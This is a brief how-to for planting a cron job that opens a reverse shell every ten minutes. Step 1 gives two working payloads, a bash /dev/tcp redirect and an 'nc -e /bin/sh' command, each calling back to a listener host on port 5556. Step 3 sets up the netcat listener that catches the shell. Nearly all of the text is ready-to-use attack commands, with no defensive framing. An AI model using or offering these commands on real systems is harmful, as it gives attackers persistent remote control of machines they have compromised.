Step 1: Create the Cron Job
- Open the crontab editor:
crontab -e
- Add the following line to create a cron job that runs every 10 minutes:
*/10 * * * * 0<&196;exec 196<>/dev/tcp/192.168.1.102/5556; sh <&196 >&196 2>&196
- Alternatively, use netcat for the reverse shell:
*/10 * * * * nc -e /bin/sh 192.168.1.21 5556
- If you need to specify a user, add the user before the command:
*/10 * * * * pelle /path/to/binary
Step 2: Verify the Cron Job
- Check if the cron service is active:
service crond status
- If the cron service is not started, start it:
service crond start
Step 3: Set Up a Netcat Listener
- On your local machine, set up a netcat listener to catch the reverse shell connection:
nc -lvp 5556
Step 4: Troubleshooting and Verification
- Verify that the cron job is running:
crontab -l
- Check the status of the cron service again if needed:
service crond status
pgrep cron
- Ensure your netcat listener is ready and waiting for connections:
nc -lvp 5556
